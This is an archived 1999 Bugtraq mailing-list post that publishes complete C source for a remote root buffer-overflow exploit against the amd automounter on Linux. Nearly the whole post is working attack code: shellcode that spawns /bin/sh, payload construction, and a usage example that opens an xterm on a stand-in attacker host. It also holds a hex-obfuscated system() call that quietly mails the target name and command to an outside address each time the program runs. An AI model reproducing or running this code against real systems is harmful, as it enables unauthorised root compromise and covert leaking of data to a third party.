4277092 1999-09-04 15:17 /172 rader/ Postmaster
Mottagare: Bugtraq (import) <7631>
Ärende: amd remote root exploit code
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Approved-By: aleph1@SECURITYFOCUS.COM
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Message-ID: <19990902031255.A3014@ohhara.postech.ac.kr>
Date: Thu, 2 Sep 1999 03:12:55 +0900
Reply-To: ohhara@postech.edu
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Taeho Oh <ohhara@OHHARA.POSTECH.AC.KR>
To: BUGTRAQ@SECURITYFOCUS.COM
This is amd remote exploit code. This is well known bug in the internet.
It's very critical bug, please upgrade am-utils or remove it.
SCRIPT KIDDIES MUST NOT USE THIS PROGRAM.
THIS PROGRAM IS DEMONSTRATIVE USE ONLY AND CAN BE DANGEROUS.
begin amd-ex.c
----------------------------------------------------------------------
/*
Amd Buffer Overflow for x86 linux
Remote user can gain root access.
Tested redhat linux : 4.0, 5.1, 6.0
Tested am-utils version : 6.0
What requires
/usr/sbin/amq
Usage
$ amd-ex <hostname> <command> [offset]
Warning : This program can crash amd.
This program is only for demonstrative use only.
USE IT AT YOUR OWN RISK!
Programmed by Taeho Oh 1999/08/31
Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug
*/
#include<stdio.h>
#include<stdlib.h>
#define OFFSET 0
#define RET_POSITION 1002
#define RANGE 20
#define NOP 0x90
char shellcode[1024]=
"\xeb\x35" /* jmp 0x35 */
"\x5e" /* popl %esi */
"\x89\x76\x0b" /* movl %esi,0xb(%esi) */
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x08" /* addl $0x8,%eax */
"\x89\x46\x0b" /* movl %eax,0xb(%esi) */
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x0b" /* addl $0xb,%eax */
"\x89\x46\x0b" /* movl %eax,0xb(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x88\x46\x0a" /* movb %eax,0xa(%esi) */
"\x88\x46\x0b" /* movb %eax,0xb(%esi) */
"\x89\x46\x0b" /* movl %eax,0xb(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x0b" /* leal 0xb(%esi),%ecx */
"\x8d\x56\x0b" /* leal 0xb(%esi),%edx */
"\xcd\x80" /* int 0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int 0x80 */
"\xe8\xc6\xff\xff\xff" /* call -0x3a */
"/bin/sh -c "; /* .string "/bin/sh -c "*/
char command[800];
void usage()
{
printf("Warning : This program can crash amd\n");
printf("Usage: amd-ex <hostname> <command> [offset]\n");
printf("ex) amd-ex ohhara.target.com \"/usr/X11R6/bin/xterm -display hacker.com:0\"\n");
}
int main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
char target[256];
char cmd[1024];
long *addr_ptr,addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
int i;
printf("Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara\n");
printf("PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus\n");
printf("PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug\n\n");
if(argc<3)
{
usage();
exit(1);
}
if(argc>2)
{
strcpy(target,argv[1]);
strcpy(command,argv[2]);
}
if(argc>3)
offset=atoi(argv[3]);
shellcode[5]=(shellcode[5]+strlen(command))/4*4+4;
shellcode[13]=(shellcode[13]+strlen(command))/4*4+8;
shellcode[21]=(shellcode[21]+strlen(command))/4*4+12;
shellcode[32]=(shellcode[32]+strlen(command));
shellcode[35]=(shellcode[35]+strlen(command))/4*4+16;
shellcode[42]=(shellcode[42]+strlen(command))/4*4+4;
shellcode[45]=(shellcode[45]+strlen(command))/4*4+16;
strcat(shellcode,command);
strcpy(cmd,"\x65\x63\x68\x6f\x20");
strcat(cmd,target);
strcat(cmd,"\x20");
strcat(cmd,command);
strcat(cmd,"\x7c");
strcat(cmd,"\x2f\x62\x69\x6e\x2f\x6d\x61\x69\x6c\x20");
strcat(cmd,"\x61\x62\x75\x73\x65\x72\x40\x6f\x68\x68");
strcat(cmd,"\x61\x72\x61\x2e\x70\x6f\x73\x74\x65\x63");
strcat(cmd,"\x68\x2e\x61\x63\x2e\x6b\x72");
sp=0xbffff34d;
addr=sp-offset;
ptr=buff;
addr_ptr=(long*)ptr;
for(i=0;i<bsize;i+=4)
*(addr_ptr++)=addr;
for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='\0';
for(i=bsize;i>1;i--)
buff[i-1]=buff[i-2];
buff[bsize-1]='\0';
printf("Jump to 0x%08x\n",addr);
system(cmd); /* If you want, comment out this line. :) */
execl("/usr/sbin/amq","amq","-h",target,"-M",buff,NULL);
}
----------------------------------------------------------------------
end amd-ex.c
--
Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug
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